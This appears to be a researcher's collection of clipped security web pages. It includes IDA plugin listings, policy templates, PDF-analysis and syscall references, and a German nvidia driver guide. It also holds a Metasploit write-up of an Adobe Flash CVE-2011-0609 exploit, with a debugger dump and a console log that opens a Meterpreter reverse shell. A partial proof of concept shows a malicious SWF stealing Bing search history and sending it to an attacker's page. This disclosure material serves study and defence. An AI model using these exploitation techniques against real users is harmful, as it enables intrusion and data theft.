comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Mapgen| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| servil  
Website:| http://www.sharemation.com/servil/idaplugs/  
Current version:| 0.985 beta  
Last updated:| 2008  
Direct D/L link:| http://www.sharemation.com/servil/idaplugs/mapgen-bin.zip  
License type:| Freeware  
Description:|
\---------------------------------------------------------------------------  
map file exporter plugin for ida pro by servil version 0.985 beta  
\---------------------------------------------------------------------------  
  
the plugin extends mapfile generating to export better information into  
ollydbg. exported files can be processed by modified mapconv plugin included  
in this archive.  
  
features:  
\- imports comments as comments and labels as labels  
\- all segments  
\- relocated images \(dlls\) taken into account  
\- extended by exporting local variables, enums, struct offsets,  
register variables and forced operands  
  
source code: http://sharemation.com/servil/idaplugs/mapgen-src.zip  
  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Ordinal imports/exports resolver| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| servil  
Website:| http://www.sharemation.com/servil/idaplugs/  
Current version:| 1  
Last updated:| 2008  
Direct D/L link:| http://www.sharemation.com/servil/idaplugs/impbyord-bin.zip  
License type:| Freeware  
Description:| Name says all?  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| PDB| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Servil  
Website:| http://www.sharemation.com/servil/idaplugs/  
Current version:|  ?  
Last updated:| 2008  
Direct D/L link:| http://www.sharemation.com/servil/idaplugs/pdb.zip  
License type:| Freeware  
Description:|  
This is yet another extension built on original Datarescue\`s PDB plugin.  
  
Main enhancements from original plugin:  
\* Integrates advantages of Microsoft Debug Information Accessor \(DIA\). The  
interface provided by DIA offers more complete description of executable  
against DbgHelp\(ImagHlp\) API. If DIA server is not installed DbgHelp's
engine  
is used \(use newest version possible to achieve best results\).  
\* Preserved names mangling on public symbols \(ida still shows C prototype
where  
full ida typeinfo can't be successfully set\).  
\* Replication of complex types \(struct, enum\) and typedefs from PDB.  
\* Scoped UDT members handled \(inherited members and nested typedefs, structs  
and enums\).  
\* Exact format to static data symbols and static struct members, forced code
at  
function start \(extern symbols format preserved\).  
\* Full ida typeinfo to static symbols and struct members.  
\* Names, exact format and full ida typeinfo to function arguments and local  
symbols stored at frame, recursive traversal all nested sub-blocks of function  
\(with DIA only\). Supported \(both top and bottom\) ebp- and esp-based frame  
models, support for register variables and params was removed during testing  
\(see known problems and anomalies/\#3\).  
\* Source lines import to idabase where file accessible \(as anterior lines\).  
\* Foreign program databases support for importing data types only. Selective  
filtering of unwanted types is offered before own storage. For this feature  
call the plugin with argument 2 \(use IDC command or edit plugins.cfg for
that\).  
\* Alots of minor adjustments not worth to mention.  
\* No UI \(lazy\) - always apply all features.  
  
Source code included.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| ProcessStalker GDL Viewer| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| AmesianX  
Website:| https://www.openrce.org/forums/posts/707  
Current version:| 1.0  
Last updated:| January 28, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| A GUI plugin for bringing up the GDL graphs of ProcessStalker
directly inside IDA Pro.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Reveal Imports| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| ZaiRoN  
Website:| http://zairon.wordpress.com/2008/11/04/ida-plugin-reveal-imports/  
Current version:| 1.0  
Last updated:| November 4, 2008  
Direct D/L link:| http://www.box.net/shared/static/pbm0okvb86.zip  
License type:| Free  
Description:| The plugin reveals imports of a dumped process. It will come in
handy when you need to analyze a dump without rebuilding the file using an
external tool.  
  
Usage: put the plugin inside IDA plugin directory and to run the plugin hit
ALT+z.  
Here is a screeshot. As you can see the plugin creates a new window filled
with revealed imports.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| SiDAg| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Zool@nder  
Website:| _N/A_  
Current version:| 1.0  
Last updated:| August 31, 2009  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| The is a GUI tool that helps beginners making IDA signatures
from Obj files/ librarries and PAT files.  
Also listed in:| IDA Signature Creation Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| VtablesStructuresFromPSDK2003R2| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Frank Boldewin  
Website:| http://www.reconstructer.org  
Current version:|  
Last updated:| July 16, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| This small IDAPython script includes all vtable structures that
can be found in the files of the Microsoft PSDK 2003-R2. After running the
script in IDA it adds these vtable structures to an IDB file. This will save
time while reconstructing COM code.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  

Feed containing all updates and additions for this category.

Feed containing all updates and additions for this category, including sub-
categories.

  

### Subcategories

There is one subcategory to this category.

  * <img src='img/Temp2_1400' width='9' height='9' />IDA Signature Creation Tools \(5\)

  

Retrieved from
"http://www.woodmann.com/collaborative/tools/index.php/Category:IDA\_Extensions"

  
  
  

Parent Category: Tool Extensions

##### Views

##### Personal tools

  * 79.205.93.57
  * Talk for this IP
  * Register

##### Category Navigation Tree

RCE Tools

<img src='img/Temp2_1398' width='9' height='9' /> Categorized by Target Type
\(178\)

<img src='img/Temp2_1399' width='9' height='9' /> Categorized by Tool Type
\(1010\)

<img src='img/Temp2_1398' width='9' height='9' /> Anti Anti Test Tools \(15\)

<img src='img/Temp2_1398' width='9' height='9' /> Assemblers \(15\)

<img src='img/Temp2_1400' width='9' height='9' />Code Coverage Tools \(12\)

<img src='img/Temp2_1398' width='9' height='9' /> Code Injection Tools \(32\)

<img src='img/Temp2_1400' width='9' height='9' />Code Ripping Tools \(2\)

<img src='img/Temp2_1400' width='9' height='9' />Crypto Tools \(5\)

<img src='img/Temp2_1398' width='9' height='9' /> Data Extraction Tools \(19\)

<img src='img/Temp2_1398' width='9' height='9' /> Debuggers \(44\)

<img src='img/Temp2_1398' width='9' height='9' /> Decompilers \(20\)

<img src='img/Temp2_1398' width='9' height='9' /> Deobfuscation Tools \(12\)

<img src='img/Temp2_1400' width='9' height='9' />Dependency Analyzer Tools
\(5\)

<img src='img/Temp2_1398' width='9' height='9' /> Diff Tools \(36\)

<img src='img/Temp2_1398' width='9' height='9' /> Disassemblers \(45\)

<img src='img/Temp2_1398' width='9' height='9' /> Dongle Analysis Tools \(24\)

<img src='img/Temp2_1398' width='9' height='9' /> Exe Analyzers \(33\)

<img src='img/Temp2_1400' width='9' height='9' />Firefox Extensions \(1\)

<img src='img/Temp2_1398' width='9' height='9' /> GUI Manipulation Tools
\(16\)

<img src='img/Temp2_1398' width='9' height='9' /> Hardware Reversing Tools
\(24\)

<img src='img/Temp2_1400' width='9' height='9' />Hex Editors \(13\)

<img src='img/Temp2_1400' width='9' height='9' />IDA Signature Creation Tools
\(5\)

<img src='img/Temp2_1398' width='9' height='9' /> Kernel Tools \(12\)

<img src='img/Temp2_1400' width='9' height='9' />Memory Data Tracing Tools
\(7\)

<img src='img/Temp2_1400' width='9' height='9' />Memory Patchers \(3\)

<img src='img/Temp2_1400' width='9' height='9' />Memory Search Tools \(7\)

<img src='img/Temp2_1398' width='9' height='9' /> Monitoring Tools \(117\)

<img src='img/Temp2_1398' width='9' height='9' /> Network Tools \(17\)

<img src='img/Temp2_1398' width='9' height='9' /> PE Executable Editors \(80\)

<img src='img/Temp2_1398' width='9' height='9' /> Packers \(16\)

<img src='img/Temp2_1398' width='9' height='9' /> Patch Packaging Tools \(7\)

<img src='img/Temp2_1400' width='9' height='9' />Profiler Tools \(10\)

<img src='img/Temp2_1398' width='9' height='9' /> Programming Libraries \(32\)

<img src='img/Temp2_1400' width='9' height='9' />Regular Expression Tools
\(3\)

<img src='img/Temp2_1398' width='9' height='9' /> Resource Editors \(12\)

<img src='img/Temp2_1400' width='9' height='9' />Reverse Engineering
Frameworks \(7\)

<img src='img/Temp2_1398' width='9' height='9' /> Source Code Tools \(11\)

<img src='img/Temp2_1400' width='9' height='9' />String Finders \(5\)

<img src='img/Temp2_1398' width='9' height='9' /> Symbol Tools \(11\)

<img src='img/Temp2_1400' width='9' height='9' />System Information Extraction
Tools \(7\)

<img src='img/Temp2_1398' width='9' height='9' /> Technical PoC Tools \(7\)

<img src='img/Temp2_1398' width='9' height='9' /> Test and Sandbox
Environments \(18\)

<img src='img/Temp2_1399' width='9' height='9' /> Tool Extensions \(138\)

<img src='img/Temp2_1400' width='9' height='9' />CFF Explorer Extensions \(5\)

<img src='img/Temp2_1400' width='9' height='9' />Filemon Extensions \(1\)

<img src='img/Temp2_1400' width='9' height='9' />Firefox Extensions \(1\)

<img src='img/Temp2_1400' width='9' height='9' />Hexer Extensions \(1\)

<img src='img/Temp2_1398' width='9' height='9' /> IDA Extensions \(40\)

<img src='img/Temp2_1400' width='9' height='9' />ImpREC Extensions \(2\)

<img src='img/Temp2_1400' width='9' height='9' />Obsidian Extensions \(1\)

<img src='img/Temp2_1400' width='9' height='9' />OllyDbg Custom Versions \(3\)

<img src='img/Temp2_1398' width='9' height='9' /> OllyDbg Extensions \(71\)

<img src='img/Temp2_1400' width='9' height='9' />Regmon Extensions \(1\)

<img src='img/Temp2_1400' width='9' height='9' />SoftICE Extensions \(6\)

<img src='img/Temp2_1400' width='9' height='9' />WinDbg Extensions \(6\)

<img src='img/Temp2_1400' width='9' height='9' />Tool Hiding Tools \(5\)

<img src='img/Temp2_1398' width='9' height='9' /> Tool Signatures \(22\)

<img src='img/Temp2_1398' width='9' height='9' /> Tracers \(17\)

<img src='img/Temp2_1398' width='9' height='9' /> Unpacking Tools \(61\)

<img src='img/Temp2_1400' width='9' height='9' />Needs New Category

##### Search

  

  * Full Library Index
  * Most Recent Updates

  

Also visit our forums and blogs\!

  * This page has been accessed 8,718 times.

  
Do you have any feedback about the site, or want to discuss something about it
with other users or admins? In that case click here\!

# Rational Survivability

**Created:**| _5/16/2009 9:39:04 PM_  
---|---  
**Updated:**| _5/16/2009 9:39:42 PM_  
**Author:**| __  
**Tags:**| _ISO based policies policies_  
  

## As Promised: ISO17799-Aligned Set of IT/Information Security P&P’s - Great
Rational Starter Kit for a Security Program

August 27th, 2007

12 comments

<img src='img/Temp2_6757.jpg' width='200' height='213' alt='Giveback_2' />  
Per my offer last week, I received a positive response to my query asking if
folks might find useful a set of well-written policy and procedures that were
aligned to ISO17799. I said that I would do the sanitizing work and release
them if I got a fair response.

_**I did andhere they are. This is in Microsoft Word Format. 534 KB.**_

My only caveats for those who download and use these is please don’t sell them
or otherwise engage in commercial activity based upon this work.

I’m releasing it into the wild because I want to help make people’s lives
easier and if these P&P’s can help make your security program better, great. I
don’t want anything in return except perhaps that someone else will do
something similar.

I must admit that I alluded to a lot of time, sweat and tears that \*I\*
contributed to this document. To be fair and honest in full disclosure, I did
not create the majority of this work; it’s based upon prior art from multiple
past lives, and most of it isn’t mine exclusively.

As a level-set reminder:

> _The P &P’s are a complete package that outline at a high-level  
> the basis of an ISO-aligned security program; you could basically  
> search/replace and be good to go for what amounts to 99% of the basic  
> security coverage you’d need to address most elements of a well-stocked  
> security pantry._
> _You can use this “English” high-level summary set to point to  
>  indexed detailed P&P mechanics or standards that are specific to  
> your organization._
All you need to do is modify the header/footer with your company’s logo &
information and do a search/replace for \[COMPANY\] with your own, and you’ve
got a fantastic template to start building from or add onto another framework
with.

Please let me know if this is worthwhile and helped you. I could do all sorts
of log tracking to see how many times it’s downloaded, etc., but if you found
it helpful \(even if you just stash it away for a rainy day\) do let me know
in the comments, please.

I also have a really good Incident Response Plan that I consolidated from many
inputs; that one’s been put through at least one incident horizon and I lived
to tell about it.

Regards,

/Hoff

# Blind Return Oriented Programming - 2015-6-10\_-\_blind-return-oriented-
programming.pdf

**Created:**| _6/12/2015 4:41:55 PM_  
---|---  
**Updated:**| _6/12/2015 4:41:55 PM_  
**Author:**| __  
**Tags:**| _rop_  
  

#  Blind Return Oriented Programming - 2015-6-10\_-\_blind-return-oriented-
programming.pdf

<img src='img/2015-6-10_-_blind-return-oriented-programming.pdf' />

# peepdf - PDF analysis and creation/modification tool - Google Project
Hosting

**Created:**| _10/14/2011 10:49:00 AM_  
---|---  
**Updated:**| _10/14/2011 10:49:00 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis pdf_  
  
peepdf is a **Python tool to explore PDF files** in order to find out if the
file can be harmful or not. The aim of this tool is to provide all the
necessary components that a security researcher could need in a PDF analysis
without using 3 or 4 tools to make all the tasks. With peepdf it's possible to
see all the objects in the document showing the suspicious elements, supports
all the most used filters and encodings, it can parse different versions of a
file, object streams and encrypted files. With the installation of
Spidermonkey and Libemu it provides **Javascript and shellcode analysis**
wrappers too. Apart of this it's able to create new PDF files and to modify
existent ones. The main functionalities of peepdf are the following:
**Analysis:**

  * Decodings: hexadecimal, octal, name objects 
  * More used filters 
  * References in objects and where an object is referenced 
  * Strings search \(including streams\) 
  * Physical structure \(offsets\) 
  * Logical tree structure 
  * Metadata 
  * Modifications between versions \(changelog\) 
  * Compressed objects \(object streams\) 
  * Analysis and modification of Javascript \(Spidermonkey\): unescape, replace, join 
  * Shellcode analysis \(sctest wrapper, Libemu\) 
  * Variables \(set command\) 
  * Extraction of old versions of the document 

**Creation/Modification:**

  * Basic PDF creation 
  * Creation of PDF with Javascript executed wen the document is opened 
  * Creation of object streams to compress objects 
  * Embedded PDFs 
  * Strings and names obfuscation 
  * Malformed PDF output: without endobj, garbage in the header, bad header... 
  * Filters modification 
  * Objects modification 

**TODO:**

  * Embedded PDFs analysis 
  * Improving automatic Javascript analysis 
  * GUI 

  
---

# Security Docs : Articles, Tutorials and Security Whitepapers

**Created:**| _1/3/2011 11:57:17 AM_  
---|---  
**Updated:**| _1/3/2011 11:57:25 AM_  
**Author:**| __  
**Tags:**| _bookmark papers Tutorials_  
  

# Bughunter - Security Papers

## Latest articles about : Buffer Overflow

  * Buffer overflows demystified
  * Smashing The Stack For Fun And Profit
  * Advanced Doug lea's malloc exploits
  * Taking advantage of non-terminated adjacent memory spaces
  * Smashing The Heap For Fun And Profit

Learn more about buffer overflows : stack overflow, heap overflow

## Latest articles about : Format String

  * Bruteforcing format strings
  * Exploiting Format String Vulnerabilities
  * Format Bugs : What are they and How to Exploit them
  * Format Strings Exploitation Techniques
  * How to exploit a Format Bug

## Latest articles about : Rootkits and Backdoors

  * Kernel Modification Using LKMs
  * Execution path analysis: finding kernel based rootkits
  * Infecting loadable kernel modules
  * Linux on-the-fly kernel patching without LKM
  * Runtime Kernel kmem Patching

## Latest articles about : Network Security

  * Port Scanning Unscanned
  * IP-spoofing Demystified \(Trust-Relationship Exploitation\)
  * Passive Fingerprinting : IDing remote hosts, without them knowing
  * DNS ID Hacking

# Metasploit: Adobe Flash CVE-2011-0609

**Created:**| _3/30/2011 5:54:51 AM_  
---|---  
**Updated:**| _3/30/2011 5:55:01 AM_  
**Author:**| __  
**Tags:**| _Flash attacks Metasploit_  
  

###  
Adobe Flash CVE-2011-0609

Recently, I spent about a week and a half working on the latest 0-day Flash
vulnerability. I released a working exploit on March 22nd 2011. The original
exploit was just an attempt to get something working out the door for all of
our users. The first attempt left a lot to be desired. To understand the crux
of this vulnerability and what needed to be done to improve the first attempt
at exploiting it I had to dig in deep into ActionScript.

  
ActionScript is a language which is embedded into an SWF file in the form of a
bytecode stream. The embedded bytecode stream is handled by the ActionScript
Virtual Machine \(AVM\) which is tasked with verifying the bytecode and
generating native code. This process is commonly referred to as JIT \(Just In
Time\) compiling.

  
The cause of this specific vulnerability is due to a one byte alteration
\(fuzzing\) within an original well formed bytecode stream found in a file
called addLabels.swf. The bytecode passes the verification process and the
native code is generated and placed in VirtualAlloc\(\)'d executable memory.
The specific results of this code executing is that uninitialized memory is
referenced.

  

[code]

    (fb4.9a0): Access violation - code c0000005 (!!! second chance !!!)  
    eax=02b38c89 ebx=02b46b20 ecx=02b78040 edx=40027f2b esi=02b467c0 edi=02b5d1f0  
    eip=02b7558e esp=0013e0e8 ebp=0013e180 iopl=0         nv up ei pl nz na po nc  
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202  
    02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h] ds:0023:40027f9b=????????  
      
    0:000> dd eax+8  
    02b38c91  40027f2b 21029780 0002b36d e8180000  
    02b38ca1  01026d56 34800041 000263d9 08000000  
    02b38cb1  0a000000 e8000000 01026d56 43800042  
    02b38cc1  000263d9 05000000 0a000000 e8000000  
    02b38cd1  01026d56 58800043 000263d9 0c000000  
    02b38ce1  0a000000 e8000000 01026d56 7a800044  
    02b38cf1  000263d9 06000000 0a000000 e8000000  
    02b38d01  01026d56 9c800045 000263d9 08000000  
      
    0:000> u eip  
    02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h]  
    02b75591 8d559c          lea     edx,[ebp-64h]  
    02b75594 89459c          mov     dword ptr [ebp-64h],eax  
    02b75597 8b01            mov     eax,dword ptr [ecx]  
    02b75599 52              push    edx  
    02b7559a 6a00            push    0  
    02b7559c 51              push    ecx  
    02b7559d ffd0            call    eax  
    
    
[/code]

  

The memory being referenced is uninitialized. To control this memory
heapspraying is required. The original exploit used heapspraying within
JavaScript. This worked but it was not very reliable.

  

The solution was to preform the heapspray within a SWF file which loads the
trigger SWF. Using HeapLib.as from Roee Hay I was able to get some basic
heapspraying accomplished. This is a lot more reliable because it is using the
same Heap management routines Flash uses to allocate memory. A copy of the
ActionScript source code I used for this exploit can be found in the
exploit.as source file.

  

Now that I have reliable control over the unintialized memory. Whats the next
task? The next task is simply constructing the memory in such a way that the
call eax instruction in the JIT code executes my shellcode. This was easily
done using the good old Skylined technique of using an address which doubles
as a nop instruction \(0x0d0d0d0d ftw\!\).

  

The next major hurdle I had to over come was now that I have execution control
what do I execute? While testing I was using a hardcoded payload within the
ActionScript which simply executed calc.exe. This just was not going to cut
it. A few initial options came to mind, I could hardcode a meterpreter
payload. This was not very dynamic at all and so I had to come up with
something else. The next option I thought of was using an egghunter payload to
find shellcode I could inject in some other fashion. This would work but
really limited things to a lot of payload specifics for example if the
hardcoded egghunter payload was for a different architecture than the targeted
machine things would blow up and break. That would be pretty tragic since all
the conditions for getting a shell would be in place but everything breaks due
to the dependencies of a hardcoded payload.

  

Finally, I came to conclusion I needed to find a way to dynamically read a
payload using ActionScript. Now I can simply make a HTTP request for a text
file and read in the ASCII hexadecimal representation of the payload. After
decoding the payload it can be applied to the heapspray code and now we have
dynamic payloads in memory. W00t\!

  

  

[code]

      
          =[ metasploit v3.7.0-dev [core:3.7 api:1.0]  
    + -- --=[ 672 exploits - 345 auxiliary  
    + -- --=[ 217 payloads - 27 encoders - 8 nops  
          =[ svn r12149 updated today (2011.03.26)  
      
    msf > use exploit/windows/browser/adobe_flashplayer_avm  
    msf exploit(adobe_flashplayer_avm) > set URIPATH /  
    URIPATH => /  
    msf exploit(adobe_flashplayer_avm) > exploit  
    [*] Exploit running as background job.  
    [*] Started reverse handler on 192.168.0.108:4444  
    [*] Using URL: http://0.0.0.0:8080/  
    msf exploit(adobe_flashplayer_avm) >  
    [*]  Local IP: http://192.168.0.108:8080/  
    [*] Server started.  
    [*] Sending Adobe Flash Player AVM Bytecode Verification Vulnerability HTML to 192.168.0.102:3646  
    [*] Sending Exploit SWF  
    [*] Sending stage (749056 bytes) to 192.168.0.102  
    [*] Meterpreter session 1 opened (192.168.0.108:4444 -> 192.168.0.102:3648) at 2011-03-26 15:23:18 -0400  
    [*] Session ID 1 (192.168.0.108:4444 -> 192.168.0.102:3648) processing InitialAutoRunScript 'migrate -f'  
    [*] Current server process: iexplore.exe (2376)  
    [*] Spawning a notepad.exe host process...  
    [*] Migrating into process ID 4092  
    [*] New server process: notepad.exe (4092)  
    msf exploit(adobe_flashplayer_avm) > sessions  
      
    Active sessions  
    ===============  
     Id  Type                   Information                                  Connection  
     --  ----                   -----------                                  ----------  
     1   meterpreter x86/win32  WXPPROSP2-001\Administrator @ WXPPROSP2-001  192.168.0.108:4444 -> 192.168.0.102:3648  
      
    msf exploit(adobe_flashplayer_avm) >  
    
    
[/code]

  

Thats the entire process it took to create a reliable exploit for this
vulnerability. I hope you enjoy all the sessions =\).

# Linux Syscall Reference

**Created:**| _7/1/2010 10:26:37 AM_  
---|---  
**Updated:**| _7/1/2010 10:26:52 AM_  
**Author:**| __  
**Tags:**| _bookmark asm Linux_  
  

## Linux Syscall Reference

\#| Name| Signature| Registers| Definition| URL  
---|---|---|---|---|---  
eax| ebx| ecx| edx| esi| edi  
#### Generated from Linux kernel 2.6.34 using Exuberant Ctags, Python, and
DataTables.  
Part of Kernel Grok.

# nVidia ION und Debian Lenny - lukx.de

**Created:**| _11/24/2009 7:32:02 PM_  
---|---  
**Updated:**| _11/24/2009 7:32:17 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

# nvidia ion und debian lenny

 _This article describes how to install nvidia drivers on Debian Lenny. Drop a
comment if you would like me to translate this into english, too\!_

So. Mein ASROCK ION 330 ist ja seit nunmehr 4 Tagen da. Nachdem ich am
Dienstagabend Debian Lenny draufgespielt habe, gab es nun heute endlich die
Grafiktreiber für den ION-Chipsatz installiert. Damit ihr nicht ähnlich wie
ich ahnungslos und ohne Ansatz dasteht, gibt’s hier die Schritte, die mich zum
Erfolg geführt haben:

##

## 0\. Vorneweg

Vorweg sei gesagt, dass ich die Infos hauptsächlich aus den folgenden Quellen
habe:

1.\) http://desiato.tinyplanet.ca/~lsorense/debian/debian-nvidia-dri-
howto.html  
2.\) http://wiki.debian.org/NvidiaGraphicsDrivers  
3.\) http://www.debianhelp.co.uk/nvidia.htm

Im Folgenden gibt’s also nur eine zusammengewürfelte Anleitung, die bei mir
zum Erfolg geführt hat.  
  
Edit vom 08.08.2009: Außerdem hat mich der Systemadministrator meines
Vertrauens darauf hingewiesen, dass die Benutzung von proprietären Treibern
den Linux-Kernel beeinflussen kann \(und in diesem Fall auch tut\) und es
somit zu späteren Zeitpunkten schwierig machen kann, dein System zu debuggen
oder schlichtweg das Ding zu installieren. Unter \(Quelle 2\) ist beschrieben,
wie man die Treiberinstallation rückgängig macht.

## 0,5. Achja: Das NVIDIA-Install-Tool

Solltet Ihr euch die Treiber von nvidia.com heruntergeladen haben, vergesst
sie. Sie bestehen in einer Datei, dessen Name mit “NVIDIA” anfängt und mit
“.run” aufhört. Diese Datei macht viel Müll und führt sowieso zu nix. Sollte
das trotzdem schon irgendwas bei euch gemacht haben, seid so gut und entfernt
es wie unter \(Quelle 1\) beschrieben.

## 1\. Die aptitude-Quellserverliste anpassen

Normalerweise kennt das Debian Installationsprogramm “apt” \(oder aptitude\)
nach einer Standard Lenny-Installation keine Quellen, die Unfreie Software
halten \(z.B. Closed-Source\). Das müssen wir jetzt ändern.

  1. Öffne die Datei  _/etc/apt/sources.list_ \(als root, versteht sich\)
  2. Schau nach, ob du die Wörter “non-free” UND “contrib” in einer der zahlreichen Zeilen erhaschen kannst
  3. Wenn Nicht: Füge folgende zwei Zeilen ein:
[code]     deb  ftp://download.xs4all.nl/pub/mirror/debian/ stable main non-
free contrib

     deb-src ftp://download.xs4all.nl/pub/mirror/debian/ stable main non-free contrib
[/code]

Speichere und schließe die Datei

  4. Sag apt\(-itude\), dass es seine neuen Listen holen soll:
[code]    # aptitude update

    
[/code]

## 2\. Die relevanten Dateien herunterladen

Der Nvidia-Treiber läuft nur mit einem 2.4 oder 2.6-Kernel. Mit

[code]

    # uname -a
[/code]

findest du heraus, ob du den auch hast.

Jetzt laden wir die Pakete, die wir so brauchen, herunter:

[code]

    # aptitude install nvidia-kernel-common module-assistant
[/code]

Da wir ja einen Debian-Kernel verwenden, brauchen wir nun noch folgenden
Befehl: \(Für Leute mit eigenen Kernels: Ihr habt doch eh mehr Ahnung als ich
;-\)\)

[code]

    # m-a -i prepare
[/code]

## 3\. Das Kernelmodul kompilieren und installieren

Geht mit den folgenden zwei Befehlen:

[code]

    # m-a a-i -i -t -f nvidia-kernel
    # depmod -a
[/code]

## 4\. Die eigentliche Installation

Danach installieren wir noch ein paar benötigte Pakete:

[code]

    # apt-get install nvidia-glx nvidia-glx-dev xserver-xorg
[/code]

## 5\. Den XServer konfigurieren

Da ich eine frische Installation von Debian Lenny hatte, war meine
_/etc/X11/xorg.conf_ noch leer. Daher konnte ich bedenkenlos die gleich
folgenden Schritte ausführen. Sollte Eure xorg.conf nicht leer sein, schaut
doch bitte hier.

Für alle anderen gibt’s was Einfacheres, was laut \(Quelle2\) aber aus
irgendeinem Grund nicht empfohlen wird. Anyway, bei mir hat diese Methode
wunderbar geklappt:

Dazu brauchen wir das nvidia xorg-configuration tool:

[code]

    # aptitude install nvidia-xconfig
    # nvidia-xconfig
[/code]

Dieser Befehl wird eine grundlegende xorg.conf-Datei anlegen, die man
anschließend bearbeiten kann - wenn man will.  
Nachdem ich herausgefunden habe, dass in der neuen xorg.conf die Zeile

[code]

    Driver "nvidia"
[/code]

schon vorhanden ist, habe ich festgestellt, dass ich die xorg.conf nicht mehr
bearbeiten will. Aber: Jeder, wie er mag.

## 6\. Den XServer neu starten

Gut, gut. Nachdem wir soweit sind, müssen wir den XServer neu starten. Das
habe ich gemacht mit:

[code]

    # /etc/init.d/gdm stop
[/code]

, gewartet, dann

[code]

    # /etc/init.d/gdm start
[/code]

Wenn alles getan hat, sollte beim Start des XServers ein NVidia-Logo
erscheinen. Dann: Bier öffnen, freuen.

Wenn nicht, kommt ihr zurück auf die Konsole… Doof. Dann die xorg.conf manuell
zurücksetzen \(entweder wieder komplett leer machen, oder aber euer Backup
zurückspielen\). Woran lag’s? Keine Ahnung\! Sorry.

Einen letzten Test, ob die Harwarebeschleunigung tut, machen wir wie folgt:

[code]

    # glxinfo |grep rendering
[/code]

Viel Erfolg\!  
Lasst mir gerne einen Kommentar da, ob’s geklappt hat.

# SethSec

**Created:**| _7/19/2014 4:46:37 PM_  
---|---  
**Updated:**| _7/19/2014 4:46:37 PM_  
**Author:**| __  
**Tags:**| _web-app-sec config_  
  

# SethSec

## Thursday, July 17, 2014

###  Real world exploitation of a misconfigured crossdomain.xml - Bing.com

In my previous two posts, I explain the overly permissive crossdomain.xml
vulnerability, show you how to create malicious SWF files from scratch, and
show you how to use the malicious SWFs to exploit the vulnerability.  
  
As we all know, sometimes the best way to wrap your head around a
vulnerability is to see it being exploited. Rather than continuing to talk
about the vulnerability in theoretical terms, I can now start to share some
specific examples.

Microsoft has closed out my MSRC case, so I can share how I was able to
exploit the crossdomain.xml file at www.bing.com, and land on their _Security
Researcher Acknowledgements for Microsoft Online Services_ page \(a first for
me\).  
  
**_Misuse Case - Gaining access to a Bing.com user's saved search history_**

If the victim user is authenticated with any live.com linked account \(msn,
outlook, etc\), and they visit a malicious site, the owner of the malicious
site can retrieve the victim user’s entire search history, including the sites
they visited by way of the search engine.

**_The vulnerable configuration \(fixed now\):_**

<img src='img/Temp2_7412.png' />

Proof of Concept

**Note:** In the proof of concept, I show the attack from the perspective of
the victim. Unlike a real exploitation, the "victim" is going through Burp to
illustrate what is going on behind the scenes.

Prerequisite: The victim is currently authenticated with msn.com, live.com,
bing.com, etc. This is a screenshot of the victim logged in and viewing the
information that we \(the attacker\) are going stealThe victim does not need
to be on this particular page for the attack to work.

<img src='img/Temp2_7408.png' />

Step 1: Attacker hosts a malicious SWF on his/her server, and socially
engineers a victim to arrive at the attacker’s site.

Step 2: The victim, while logged into msn.com, live.com, bing.com, etc, loads
the malicious html page

<img src='img/Temp2_7402.png' />

As you can see, the POC html page just instructs the victim's browser to
execute the SWF file.

<img src='img/Temp2_7407.png' />

Step 3: The victims browser downloads and loads the SWF

<img src='img/Temp2_7415.png' />

Step 4: The SWF, now loaded in the browser, makes a request to
https://www.bing.com/crossdomain.xml. This is where the vulnerability lies. If
the crossdomain.xml file at www.bing.com is set correctly, the Adobe Flash
player won't let the SWF proceed. When the crossdomain.xml file is overly
permissive, it instructs the SWF file that it is authorized to interact with
the domain \(www.bing.com\).

<img src='img/Temp2_7406.png' />

Step 5: The SWF makes a request on behalf of the victim and retrieves the
user’s search history from
https://www.bing.com/profile/historyhttps://www.bing.com/profile/history/more

<img src='img/Temp2_7414.png' />

Step 6:Because of the overly permissive crossdomain.xml file, the SWF is able
to bypass Same-Origin-Policy and record the server response to the previous
request. The SWF sends the data retrieved from
https://www.bing.com/profile/history to the attackers data drop page:

<img src='img/Temp2_7410.png' />

At this point, the exploitation is over from the perspective of the victim.
Let's switch to the attacker's perspective, and look at the stolen data.

Here is the data collector script on the attackers server:

<img src='img/Temp2_7403.png' />

As I mentioned in my previous post, this php file takes the entire data
